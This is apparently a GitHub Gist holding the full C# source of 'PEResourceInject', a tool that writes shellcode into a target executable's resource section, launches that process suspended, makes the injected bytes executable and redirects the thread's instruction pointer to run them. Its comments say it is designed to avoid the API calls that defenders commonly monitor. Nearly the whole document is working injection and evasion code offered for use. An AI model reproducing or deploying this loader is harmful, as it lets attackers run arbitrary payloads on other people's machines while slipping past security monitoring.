Created
October 17, 2022 05:39
-
-
Save Wra7h/65f52dc325a215227daa312a2e54a0a5 to your computer and use it in GitHub Desktop.
PEResourceInject
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* PEResourceInject (C# version for x64) by Wra7h | |
* | |
* Add a bitmap resource to an executable. Parse the PE header and calculate the address of the shellcode. | |
* This avoids direct calls to VirtualAllocEx & WriteProcessMemory, but will modify the target exe on disk, | |
* and this implementation will create a backup of the executable in the same directory with a ".bak" extension. | |
* | |
* Compile: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\PEResourceInject.cs | |
* Use: PEResourceInject.exe <C:\Path\to\target\program.exe> <C:\Path\to\shellcode.bin> | |
* | |
* References: | |
* A dive into the PE file format by 0xRick: https://0xrick.github.io/win-internals/pe8/ | |
* Get/SetThreadContext P/Invokes: https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/thread-hijack.cs | |
*/ | |
using System; | |
using System.IO; | |
using System.Runtime.InteropServices; | |
namespace PERsrcInject | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
string FileToInfect = args[0]; | |
byte[] payload = File.ReadAllBytes(args[1]); | |
File.Copy(FileToInfect, FileToInfect + ".bak"); | |
if (File.Exists(FileToInfect + ".bak")) | |
{ | |
Console.ForegroundColor = ConsoleColor.Green; | |
Console.Write("[*] "); | |
Console.ResetColor(); | |
Console.WriteLine("Created backup: {0}.bak", FileToInfect); | |
} | |
// Add shellcode as a resource | |
IntPtr hUpdate = BeginUpdateResource(FileToInfect, true); | |
if (hUpdate == IntPtr.Zero) | |
{ | |
Console.WriteLine("BeginUpdateResource failed. Exiting..."); | |
System.Environment.Exit(1); | |
} | |
bool bvRet = UpdateResource(hUpdate, (IntPtr)2, (IntPtr)2, 0, payload, (uint)payload.Length); | |
if (!bvRet) | |
{ | |
Console.WriteLine("UpdateResource failed. Exiting..."); | |
System.Environment.Exit(1); | |
} | |
bvRet = EndUpdateResource(hUpdate, false); | |
if (!bvRet) | |
{ | |
Console.WriteLine("EndUpdateResource failed. Exiting..."); | |
System.Environment.Exit(1); | |
} | |
// Create the suspended process | |
STARTUPINFO sSI = new STARTUPINFO(); | |
PROCESS_INFORMATION sPI = new PROCESS_INFORMATION(); | |
bvRet = CreateProcess(FileToInfect, String.Empty, IntPtr.Zero, IntPtr.Zero, | |
false, 0x4 /*Suspended*/, IntPtr.Zero, Directory.GetCurrentDirectory(), ref sSI, out sPI); | |
if (!bvRet) | |
{ | |
Console.WriteLine("CreateProcess failed. Exiting..."); | |
System.Environment.Exit(1); | |
} | |
// PROCESS_BASIC_INFORMATION - Get PEB Address to read imagebase | |
PROCESS_BASIC_INFORMATION sPBI = new PROCESS_BASIC_INFORMATION(); | |
int cbRet = 0; | |
NtQueryInformationProcess(sPI.hProcess, 0, out sPBI, Marshal.SizeOf(sPBI), out cbRet); | |
IntPtr PEBOffset = (IntPtr)(sPBI.PebAddress.ToInt64() + 0x10); | |
// Imagebase | |
byte[] ImageBase = new byte[8]; | |
IntPtr NumRead = IntPtr.Zero; | |
bvRet = ReadProcessMemory(sPI.hProcess, PEBOffset, ImageBase, 8, out NumRead); | |
if (!bvRet) | |
{ | |
Console.WriteLine("ReadProcessMemory: Imagebase failed. Exiting..."); | |
System.Environment.Exit(1); | |
} | |
IntPtr pImageBase = (IntPtr)BitConverter.ToInt64(ImageBase, 0); | |
// IMAGE_DOS_HEADER | |
byte[] bIDOSH = new byte[Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))]; | |
bvRet = ReadProcessMemory(sPI.hProcess, pImageBase, bIDOSH, Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)), out NumRead); | |
if (!bvRet) | |
{ | |
Console.WriteLine("ReadProcessMemory: IMAGE_DOS_HEADER failed. Exiting..."); | |
System.Environment.Exit(1); | |
} | |
GCHandle pbIDOSH = GCHandle.Alloc(bIDOSH, GCHandleType.Pinned); | |
IMAGE_DOS_HEADER sImageDOSHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(pbIDOSH.AddrOfPinnedObject(), typeof(IMAGE_DOS_HEADER)); | |
// IMAGE_NT_HEADER | |
IntPtr pAddressImageNTHeader = ((IntPtr)(pImageBase.ToInt64() + sImageDOSHeader.e_lfanew)); | |
byte[] bImageNTHeader = new byte[Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64))]; | |
bvRet = ReadProcessMemory(sPI.hProcess, pAddressImageNTHeader, bImageNTHeader, Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)), out NumRead); | |
if (!bvRet) | |
{ | |
Console.WriteLine("ReadProcessMemory: IMAGE_NT_HEADER failed. Exiting..."); | |
System.Environment.Exit(1); | |
} | |
GCHandle pbImageNTHeader = GCHandle.Alloc(bImageNTHeader, GCHandleType.Pinned); | |
IMAGE_NT_HEADERS64 sImageNTHeader = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(pbImageNTHeader.AddrOfPinnedObject(), typeof(IMAGE_NT_HEADERS64)); | |
// IMAGE_SECTION_HEADER | |
IntPtr pAddressOfSection = (IntPtr)(pAddressImageNTHeader.ToInt64() + (sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + sImageNTHeader.FileHeader.SizeOfOptionalHeader)); | |
IntPtr pAddressShellcodeStart = IntPtr.Zero; | |
for (int i = 0; i < sImageNTHeader.FileHeader.NumberOfSections; i++) | |
{ | |
byte[] bImageSectionHeader = new byte[Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))]; | |
bvRet = ReadProcessMemory(sPI.hProcess, pAddressOfSection, bImageSectionHeader, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)), out NumRead); | |
if (!bvRet) | |
{ | |
Console.WriteLine("ReadProcessMemory: IMAGE_SECTION_HEADER {0} failed.", i); | |
continue; | |
} | |
GCHandle pbImageSectionHeader = GCHandle.Alloc(bImageSectionHeader, GCHandleType.Pinned); | |
IMAGE_SECTION_HEADER sImageSectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(pbImageSectionHeader.AddrOfPinnedObject(), typeof(IMAGE_SECTION_HEADER)); | |
if (new string(sImageSectionHeader.Name).StartsWith(".rsrc")) | |
{ | |
//Updated rsrc found. Calculate the address of the shellocde (a bitmap header is 0x58 bytes) | |
pAddressShellcodeStart = (IntPtr)(pImageBase.ToInt64() + sImageSectionHeader.VirtualAddress + 0x58); | |
uint oldProtect = 0; | |
VirtualProtectEx(sPI.hProcess, pAddressShellcodeStart, (uint)payload.Length, 0x20, out oldProtect); | |
break; | |
} | |
//.rsrc wasn't found, move to the start of the next section | |
pAddressOfSection = (IntPtr)(pAddressOfSection.ToInt64() + Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); | |
} | |
CONTEXT64 sC64 = new CONTEXT64(); | |
sC64.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL; | |
bvRet = GetThreadContext(sPI.hThread, ref sC64); | |
sC64.Rip = (ulong)pAddressShellcodeStart.ToInt64(); | |
bvRet = SetThreadContext(sPI.hThread, ref sC64); | |
ResumeThread(sPI.hThread); | |
CloseHandle(sPI.hThread); | |
CloseHandle(sPI.hProcess); | |
Console.WriteLine("Done!"); | |
} | |
#region StructsEnums | |
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | |
public struct STARTUPINFO | |
{ | |
public Int32 cb; | |
public IntPtr lpReserved; | |
public IntPtr lpDesktop; | |
public IntPtr lpTitle; | |
public Int32 dwX; | |
public Int32 dwY; | |
public Int32 dwXSize; | |
public Int32 dwYSize; | |
public Int32 dwXCountChars; | |
public Int32 dwYCountChars; | |
public Int32 dwFillAttribute; | |
public Int32 dwFlags; | |
public Int16 wShowWindow; | |
public Int16 cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
internal struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public int dwProcessId; | |
public int dwThreadId; | |
} | |
[StructLayout(LayoutKind.Explicit)] | |
public struct IMAGE_SECTION_HEADER | |
{ | |
[FieldOffset(0)] | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] | |
public char[] Name; | |
[FieldOffset(8)] | |
public UInt32 VirtualSize; | |
[FieldOffset(12)] | |
public UInt32 VirtualAddress; | |
[FieldOffset(16)] | |
public UInt32 SizeOfRawData; | |
[FieldOffset(20)] | |
public UInt32 PointerToRawData; | |
[FieldOffset(24)] | |
public UInt32 PointerToRelocations; | |
[FieldOffset(28)] | |
public UInt32 PointerToLinenumbers; | |
[FieldOffset(32)] | |
public UInt16 NumberOfRelocations; | |
[FieldOffset(34)] | |
public UInt16 NumberOfLinenumbers; | |
[FieldOffset(36)] | |
public DataSectionFlags Characteristics; | |
public string Section | |
{ | |
get { return new string(Name); } | |
} | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
internal struct PROCESS_BASIC_INFORMATION | |
{ | |
public IntPtr ExitStatus; | |
public IntPtr PebAddress; | |
public IntPtr AffinityMask; | |
public IntPtr BasePriority; | |
public IntPtr UniquePID; | |
public IntPtr InheritedFromUniqueProcessId; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct IMAGE_DOS_HEADER | |
{ | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] | |
public char[] e_magic; // Magic number | |
public UInt16 e_cblp; // Bytes on last page of file | |
public UInt16 e_cp; // Pages in file | |
public UInt16 e_crlc; // Relocations | |
public UInt16 e_cparhdr; // Size of header in paragraphs | |
public UInt16 e_minalloc; // Minimum extra paragraphs needed | |
public UInt16 e_maxalloc; // Maximum extra paragraphs needed | |
public UInt16 e_ss; // Initial (relative) SS value | |
public UInt16 e_sp; // Initial SP value | |
public UInt16 e_csum; // Checksum | |
public UInt16 e_ip; // Initial IP value | |
public UInt16 e_cs; // Initial (relative) CS value | |
public UInt16 e_lfarlc; // File address of relocation table | |
public UInt16 e_ovno; // Overlay number | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] | |
public UInt16[] e_res1; // Reserved words | |
public UInt16 e_oemid; // OEM identifier (for e_oeminfo) | |
public UInt16 e_oeminfo; // OEM information; e_oemid specific | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] | |
public UInt16[] e_res2; // Reserved words | |
public Int32 e_lfanew; // File address of new exe header | |
private string _e_magic | |
{ | |
get { return new string(e_magic); } | |
} | |
public bool isValid | |
{ | |
get { return _e_magic == "MZ"; } | |
} | |
} | |
[Flags] | |
public enum DataSectionFlags : uint | |
{ | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
TypeReg = 0x00000000, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
TypeDsect = 0x00000001, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
TypeNoLoad = 0x00000002, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
TypeGroup = 0x00000004, | |
/// <summary> | |
/// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files. | |
/// </summary> | |
TypeNoPadded = 0x00000008, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
TypeCopy = 0x00000010, | |
/// <summary> | |
/// The section contains executable code. | |
/// </summary> | |
ContentCode = 0x00000020, | |
/// <summary> | |
/// The section contains initialized data. | |
/// </summary> | |
ContentInitializedData = 0x00000040, | |
/// <summary> | |
/// The section contains uninitialized data. | |
/// </summary> | |
ContentUninitializedData = 0x00000080, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
LinkOther = 0x00000100, | |
/// <summary> | |
/// The section contains comments or other information. The .drectve section has this type. This is valid for object files only. | |
/// </summary> | |
LinkInfo = 0x00000200, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
TypeOver = 0x00000400, | |
/// <summary> | |
/// The section will not become part of the image. This is valid only for object files. | |
/// </summary> | |
LinkRemove = 0x00000800, | |
/// <summary> | |
/// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files. | |
/// </summary> | |
LinkComDat = 0x00001000, | |
/// <summary> | |
/// Reset speculative exceptions handling bits in the TLB entries for this section. | |
/// </summary> | |
NoDeferSpecExceptions = 0x00004000, | |
/// <summary> | |
/// The section contains data referenced through the global pointer (GP). | |
/// </summary> | |
RelativeGP = 0x00008000, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
MemPurgeable = 0x00020000, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
Memory16Bit = 0x00020000, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
MemoryLocked = 0x00040000, | |
/// <summary> | |
/// Reserved for future use. | |
/// </summary> | |
MemoryPreload = 0x00080000, | |
/// <summary> | |
/// Align data on a 1-byte boundary. Valid only for object files. | |
/// </summary> | |
Align1Bytes = 0x00100000, | |
/// <summary> | |
/// Align data on a 2-byte boundary. Valid only for object files. | |
/// </summary> | |
Align2Bytes = 0x00200000, | |
/// <summary> | |
/// Align data on a 4-byte boundary. Valid only for object files. | |
/// </summary> | |
Align4Bytes = 0x00300000, | |
/// <summary> | |
/// Align data on an 8-byte boundary. Valid only for object files. | |
/// </summary> | |
Align8Bytes = 0x00400000, | |
/// <summary> | |
/// Align data on a 16-byte boundary. Valid only for object files. | |
/// </summary> | |
Align16Bytes = 0x00500000, | |
/// <summary> | |
/// Align data on a 32-byte boundary. Valid only for object files. | |
/// </summary> | |
Align32Bytes = 0x00600000, | |
/// <summary> | |
/// Align data on a 64-byte boundary. Valid only for object files. | |
/// </summary> | |
Align64Bytes = 0x00700000, | |
/// <summary> | |
/// Align data on a 128-byte boundary. Valid only for object files. | |
/// </summary> | |
Align128Bytes = 0x00800000, | |
/// <summary> | |
/// Align data on a 256-byte boundary. Valid only for object files. | |
/// </summary> | |
Align256Bytes = 0x00900000, | |
/// <summary> | |
/// Align data on a 512-byte boundary. Valid only for object files. | |
/// </summary> | |
Align512Bytes = 0x00A00000, | |
/// <summary> | |
/// Align data on a 1024-byte boundary. Valid only for object files. | |
/// </summary> | |
Align1024Bytes = 0x00B00000, | |
/// <summary> | |
/// Align data on a 2048-byte boundary. Valid only for object files. | |
/// </summary> | |
Align2048Bytes = 0x00C00000, | |
/// <summary> | |
/// Align data on a 4096-byte boundary. Valid only for object files. | |
/// </summary> | |
Align4096Bytes = 0x00D00000, | |
/// <summary> | |
/// Align data on an 8192-byte boundary. Valid only for object files. | |
/// </summary> | |
Align8192Bytes = 0x00E00000, | |
/// <summary> | |
/// The section contains extended relocations. | |
/// </summary> | |
LinkExtendedRelocationOverflow = 0x01000000, | |
/// <summary> | |
/// The section can be discarded as needed. | |
/// </summary> | |
MemoryDiscardable = 0x02000000, | |
/// <summary> | |
/// The section cannot be cached. | |
/// </summary> | |
MemoryNotCached = 0x04000000, | |
/// <summary> | |
/// The section is not pageable. | |
/// </summary> | |
MemoryNotPaged = 0x08000000, | |
/// <summary> | |
/// The section can be shared in memory. | |
/// </summary> | |
MemoryShared = 0x10000000, | |
/// <summary> | |
/// The section can be executed as code. | |
/// </summary> | |
MemoryExecute = 0x20000000, | |
/// <summary> | |
/// The section can be read. | |
/// </summary> | |
MemoryRead = 0x40000000, | |
/// <summary> | |
/// The section can be written to. | |
/// </summary> | |
MemoryWrite = 0x80000000 | |
} | |
[StructLayout(LayoutKind.Explicit)] | |
public struct IMAGE_NT_HEADERS64 | |
{ | |
[FieldOffset(0)] | |
public UInt32 Signature; | |
[FieldOffset(4)] | |
public IMAGE_FILE_HEADER FileHeader; | |
[FieldOffset(24)] | |
public IMAGE_OPTIONAL_HEADER64 OptionalHeader; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct IMAGE_FILE_HEADER | |
{ | |
public UInt16 Machine; | |
public UInt16 NumberOfSections; | |
public UInt32 TimeDateStamp; | |
public UInt32 PointerToSymbolTable; | |
public UInt32 NumberOfSymbols; | |
public UInt16 SizeOfOptionalHeader; | |
public UInt16 Characteristics; | |
} | |
[StructLayout(LayoutKind.Explicit)] | |
public struct IMAGE_OPTIONAL_HEADER64 | |
{ | |
[FieldOffset(0)] | |
public ushort Magic; | |
[FieldOffset(2)] | |
public byte MajorLinkerVersion; | |
[FieldOffset(3)] | |
public byte MinorLinkerVersion; | |
[FieldOffset(4)] | |
public uint SizeOfCode; | |
[FieldOffset(8)] | |
public uint SizeOfInitializedData; | |
[FieldOffset(12)] | |
public uint SizeOfUninitializedData; | |
[FieldOffset(16)] | |
public uint AddressOfEntryPoint; | |
[FieldOffset(20)] | |
public uint BaseOfCode; | |
[FieldOffset(24)] | |
public ulong ImageBase; | |
[FieldOffset(32)] | |
public uint SectionAlignment; | |
[FieldOffset(36)] | |
public uint FileAlignment; | |
[FieldOffset(40)] | |
public ushort MajorOperatingSystemVersion; | |
[FieldOffset(42)] | |
public ushort MinorOperatingSystemVersion; | |
[FieldOffset(44)] | |
public ushort MajorImageVersion; | |
[FieldOffset(46)] | |
public ushort MinorImageVersion; | |
[FieldOffset(48)] | |
public ushort MajorSubsystemVersion; | |
[FieldOffset(50)] | |
public ushort MinorSubsystemVersion; | |
[FieldOffset(52)] | |
public uint Win32VersionValue; | |
[FieldOffset(56)] | |
public uint SizeOfImage; | |
[FieldOffset(60)] | |
public uint SizeOfHeaders; | |
[FieldOffset(64)] | |
public uint CheckSum; | |
[FieldOffset(68)] | |
public ushort Subsystem; | |
[FieldOffset(70)] | |
public ushort DllCharacteristics; | |
[FieldOffset(72)] | |
public ulong SizeOfStackReserve; | |
[FieldOffset(80)] | |
public ulong SizeOfStackCommit; | |
[FieldOffset(88)] | |
public ulong SizeOfHeapReserve; | |
[FieldOffset(96)] | |
public ulong SizeOfHeapCommit; | |
[FieldOffset(104)] | |
public uint LoaderFlags; | |
[FieldOffset(108)] | |
public uint NumberOfRvaAndSizes; | |
[FieldOffset(112)] | |
public IMAGE_DATA_DIRECTORY ExportTable; | |
[FieldOffset(120)] | |
public IMAGE_DATA_DIRECTORY ImportTable; | |
[FieldOffset(128)] | |
public IMAGE_DATA_DIRECTORY ResourceTable; | |
[FieldOffset(136)] | |
public IMAGE_DATA_DIRECTORY ExceptionTable; | |
[FieldOffset(144)] | |
public IMAGE_DATA_DIRECTORY CertificateTable; | |
[FieldOffset(152)] | |
public IMAGE_DATA_DIRECTORY BaseRelocationTable; | |
[FieldOffset(160)] | |
public IMAGE_DATA_DIRECTORY Debug; | |
[FieldOffset(168)] | |
public IMAGE_DATA_DIRECTORY Architecture; | |
[FieldOffset(176)] | |
public IMAGE_DATA_DIRECTORY GlobalPtr; | |
[FieldOffset(184)] | |
public IMAGE_DATA_DIRECTORY TLSTable; | |
[FieldOffset(192)] | |
public IMAGE_DATA_DIRECTORY LoadConfigTable; | |
[FieldOffset(200)] | |
public IMAGE_DATA_DIRECTORY BoundImport; | |
[FieldOffset(208)] | |
public IMAGE_DATA_DIRECTORY IAT; | |
[FieldOffset(216)] | |
public IMAGE_DATA_DIRECTORY DelayImportDescriptor; | |
[FieldOffset(224)] | |
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; | |
[FieldOffset(232)] | |
public IMAGE_DATA_DIRECTORY Reserved; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct IMAGE_DATA_DIRECTORY | |
{ | |
public UInt32 VirtualAddress; | |
public UInt32 Size; | |
} | |
[StructLayout(LayoutKind.Sequential, Pack = 16)] | |
public struct CONTEXT64 | |
{ | |
public ulong P1Home; | |
public ulong P2Home; | |
public ulong P3Home; | |
public ulong P4Home; | |
public ulong P5Home; | |
public ulong P6Home; | |
public CONTEXT_FLAGS ContextFlags; | |
public uint MxCsr; | |
public ushort SegCs; | |
public ushort SegDs; | |
public ushort SegEs; | |
public ushort SegFs; | |
public ushort SegGs; | |
public ushort SegSs; | |
public uint EFlags; | |
public ulong Dr0; | |
public ulong Dr1; | |
public ulong Dr2; | |
public ulong Dr3; | |
public ulong Dr6; | |
public ulong Dr7; | |
public ulong Rax; | |
public ulong Rcx; | |
public ulong Rdx; | |
public ulong Rbx; | |
public ulong Rsp; | |
public ulong Rbp; | |
public ulong Rsi; | |
public ulong Rdi; | |
public ulong R8; | |
public ulong R9; | |
public ulong R10; | |
public ulong R11; | |
public ulong R12; | |
public ulong R13; | |
public ulong R14; | |
public ulong R15; | |
public ulong Rip; | |
public XSAVE_FORMAT64 DUMMYUNIONNAME; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] | |
public M128A[] VectorRegister; | |
public ulong VectorControl; | |
public ulong DebugControl; | |
public ulong LastBranchToRip; | |
public ulong LastBranchFromRip; | |
public ulong LastExceptionToRip; | |
public ulong LastExceptionFromRip; | |
} | |
public enum CONTEXT_FLAGS : uint | |
{ | |
CONTEXT_i386 = 0x10000, | |
CONTEXT_i486 = 0x10000, // same as i386 | |
CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP | |
CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI | |
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS | |
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state | |
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7 | |
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions | |
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS, | |
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct M128A | |
{ | |
public ulong High; | |
public long Low; | |
public override string ToString() | |
{ | |
return string.Format("High:{0}, Low:{1}", this.High, this.Low); | |
} | |
} | |
[StructLayout(LayoutKind.Sequential, Pack = 16)] | |
public struct XSAVE_FORMAT64 | |
{ | |
public ushort ControlWord; | |
public ushort StatusWord; | |
public byte TagWord; | |
public byte Reserved1; | |
public ushort ErrorOpcode; | |
public uint ErrorOffset; | |
public ushort ErrorSelector; | |
public ushort Reserved2; | |
public uint DataOffset; | |
public ushort DataSelector; | |
public ushort Reserved3; | |
public uint MxCsr; | |
public uint MxCsr_Mask; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] | |
public M128A[] FloatRegisters; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] | |
public M128A[] XmmRegisters; | |
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] | |
public byte[] Reserved4; | |
} | |
#endregion | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr BeginUpdateResource(string pFileName, bool bDeleteExistingResources); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool UpdateResource(IntPtr hUpdate, IntPtr lpType, IntPtr lpName, ushort wLanguage, byte[] lpData, uint cb); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool EndUpdateResource(IntPtr hUpdate, bool fDiscard); | |
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] | |
static extern bool CreateProcess( | |
string lpApplicationName, | |
string lpCommandLine, | |
IntPtr lpProcessAttributes, | |
IntPtr lpThreadAttributes, | |
bool bInheritHandles, | |
uint dwCreationFlags, | |
IntPtr lpEnvironment, | |
string lpCurrentDirectory, | |
[In] ref STARTUPINFO lpStartupInfo, | |
out PROCESS_INFORMATION lpProcessInformation); | |
[DllImport("ntdll.dll", SetLastError = true)] | |
static extern int NtQueryInformationProcess( | |
IntPtr hProcess, | |
int ProcessInfoClass, | |
out PROCESS_BASIC_INFORMATION pbi, | |
int cb, | |
out int pSize); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern bool ReadProcessMemory( | |
IntPtr hProcess, | |
IntPtr lpBaseAddress, | |
byte[] lpBuffer, | |
Int32 nSize, | |
out IntPtr lpNumberOfBytesRead); | |
[DllImport("kernel32.dll")] | |
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, | |
uint dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
static extern uint ResumeThread(IntPtr hThread); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
static extern bool CloseHandle(IntPtr hObject); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment